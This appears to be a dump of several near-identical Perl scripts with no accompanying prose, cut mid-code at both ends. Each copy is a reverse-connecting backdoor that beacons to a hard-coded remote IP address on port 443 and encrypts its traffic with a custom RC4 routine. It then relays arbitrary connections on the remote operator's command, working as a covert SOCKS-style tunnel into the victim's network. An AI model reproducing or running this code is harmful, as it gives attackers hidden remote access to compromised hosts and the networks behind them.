(my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.178'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.184'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, 